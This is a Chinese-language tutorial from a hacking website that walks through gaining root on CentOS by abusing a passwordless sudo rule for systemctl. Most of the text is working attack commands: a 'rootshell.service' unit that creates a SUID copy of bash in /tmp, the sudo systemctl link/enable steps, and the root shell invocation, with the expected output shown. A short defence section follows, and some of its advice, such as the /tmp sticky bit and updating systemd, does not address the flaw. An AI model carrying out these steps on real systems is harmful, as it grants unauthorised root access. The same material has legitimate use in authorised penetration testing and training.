1. 简介
本教程演示如何利用 systemctl 的 sudo 权限配置不当,在 Linux 系统上实现提权(Privilege Escalation)。
适用环境:
CentOS 7.6(内核 4.19.0-6)
用户具有 sudo 权限运行 /bin/systemctl 且无需密码
2. 环境准备
2.1 检查系统信息
cat /proc/version
cat /etc/redhat-release
输出示例:
Linux version 4.19.0-6.el7.ucloud.x86_64
CentOS Linux release 7.6.1810 (Core)
2.2 检查当前用户权限
sudo -l
关键输出:
用户 apps 可以在 uaccount3 上运行以下命令:
(ALL) NOPASSWD: /bin/systemctl
(ALL) NOPASSWD: /bin/whoami, /usr/bin/systemctl
✅ 发现可利用点:systemctl 可以无密码运行,且能管理所有服务。
3. 提权步骤
3.1 创建恶意 systemd 服务
在 /tmp/ 目录下创建 rootshell.service:
cat > /tmp/rootshell.service << 'EOF' [Unit] Description=Root Shell [Service] Type=oneshot ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' RemainAfterExit=yes [Install] WantedBy=multi-user.target EOF
作用:
复制 /bin/bash 到 /tmp/rootbash
设置 SUID 权限(chmod +s),使普通用户执行时获得 root 权限
3.2 加载并启动服务
sudo /bin/systemctl link /tmp/rootshell.service
sudo /bin/systemctl enable --now rootshell.service
预期输出:
Created symlink from /etc/systemd/system/rootshell.service to /tmp/rootshell.service.
3.3 验证提权
检查 /tmp/rootbash 是否生成并具有 SUID 权限:
ls -la /tmp/rootbash
预期输出:
-rwsr-sr-x 1 root root 1234567 Jun 24 12:34 /tmp/rootbash
执行提权 Shell:
/tmp/rootbash -p
预期结果:
[root@uaccount3 tmp]# whoami root
🎉 提权成功!
4. 防御措施
4.1 管理员如何防范?
限制 sudo 权限:
visudo
移除不必要的 NOPASSWD 权限。
监控 /tmp 目录:
chmod 1777 /tmp # 确保 sticky bit 启用
更新 systemd:
yum update systemd
4.2 普通用户如何保护自己?
避免使用弱密码
不随意执行未知脚本
定期检查 sudo -l 权限
5. 总结
本教程演示了如何利用 systemctl 的 sudo 权限配置不当进行提权。
关键点:
检查 sudo -l 发现可利用命令
创建恶意 systemd 服务
加载服务并获取 root Shell
⚠️ 注意:此方法仅用于授权测试,未经授权攻击系统是违法行为!
相关工具:
LinPEAS(自动化提权检测)
✅ 完成! 现在你已掌握如何利用 systemctl 进行提权。
© 版权声明
1、本网站名称:
X黑手网
2、本站永久网址:https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
2、本站永久网址:https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
暂无评论内容